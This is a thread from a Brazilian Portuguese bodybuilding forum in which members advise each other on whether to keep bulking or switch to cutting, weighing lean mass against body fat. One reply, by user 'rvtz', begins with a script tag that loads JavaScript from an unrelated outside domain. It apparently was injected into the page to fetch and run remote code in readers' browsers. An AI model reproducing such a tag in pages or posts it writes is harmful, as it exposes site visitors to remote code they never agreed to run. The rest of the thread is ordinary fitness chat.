Marocama 16 Postado Abril 2, 2015 às 02:11 Compartilhar Postado Abril 2, 2015 às 02:11 (editado) Bom galera, to em bulk faz um tempo mas tenho medo de fazer cut e perder muita MM, o que acham? Editado Abril 2, 2015 às 02:13 por Marocama Link para o comentário Compartilhar em outros sites More sharing options...
Rataaao 481 Postado Abril 2, 2015 às 02:14 Compartilhar Postado Abril 2, 2015 às 02:14 segue no bulking Link para o comentário Compartilhar em outros sites More sharing options...
Marocama 16 Postado Abril 2, 2015 às 02:36 Compartilhar Postado Abril 2, 2015 às 02:36 segue no bulking Por mais quanto tempo você acha? Link para o comentário Compartilhar em outros sites More sharing options...
Xan santos 69 Postado Abril 2, 2015 às 11:34 Compartilhar Postado Abril 2, 2015 às 11:34 Até quando você achar que esta bom para você, geralmente eu inicio meu controle de bf quando a gordura passa a incomodar e embaçar de mais o shap, que não é seu caso. Permanece no bulking, da para ganhar bem mais ainda, dependendo dos ganhos nem de cultting precisa Link para o comentário Compartilhar em outros sites More sharing options...
rvtz 101 Postado Abril 2, 2015 às 12:04 Compartilhar Postado Abril 2, 2015 às 12:04 <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> Bom galera, to em bulk faz um tempo mas tenho medo de fazer cut e perder muita MM, o que acham? Bulk. Ahhh, mas até quando ? Até voce ganhar massa magra, não tem quase nada ai, ta magro. Link para o comentário Compartilhar em outros sites More sharing options...
h1ghland3r 10 Postado Abril 2, 2015 às 12:05 Compartilhar Postado Abril 2, 2015 às 12:05 Pois é, precisa de mto massa magra ainda.. Sent from my Moto X Link para o comentário Compartilhar em outros sites More sharing options...
RENANNP 2 Postado Abril 2, 2015 às 16:37 Compartilhar Postado Abril 2, 2015 às 16:37 Fala galera! 69KG 170 de altura e uns 14% de bf devo fazer um cutting ou um bulking ja treino a 2 anos ja tive bons resultados mas agora estou perdido. Link para o comentário Compartilhar em outros sites More sharing options...
MrFera 79 Postado Abril 2, 2015 às 16:51 Compartilhar Postado Abril 2, 2015 às 16:51 14% com o abdomen assim? Parabéns man. Eu tenho 14% também, mas 23% no abdomen (genética filha da puta). Eu cortaria uns 3kgs, e depois bulkava até 75. Link para o comentário Compartilhar em outros sites More sharing options...
RENANNP 2 Postado Abril 2, 2015 às 17:27 Compartilhar Postado Abril 2, 2015 às 17:27 pow man e oq to querendo fazer! chegar ate uns 75 pra falar a verdade eu acho que e uns 14% mano sou ruim de mais pra pegar abdomen sem falar que essa poha dilatou! Link para o comentário Compartilhar em outros sites More sharing options...
Xan santos 69 Postado Abril 2, 2015 às 17:59 Compartilhar Postado Abril 2, 2015 às 17:59 Eu tenho o bf em 16% e 18 pura aí, e meu abs é marcado kkk Link para o comentário Compartilhar em outros sites More sharing options...
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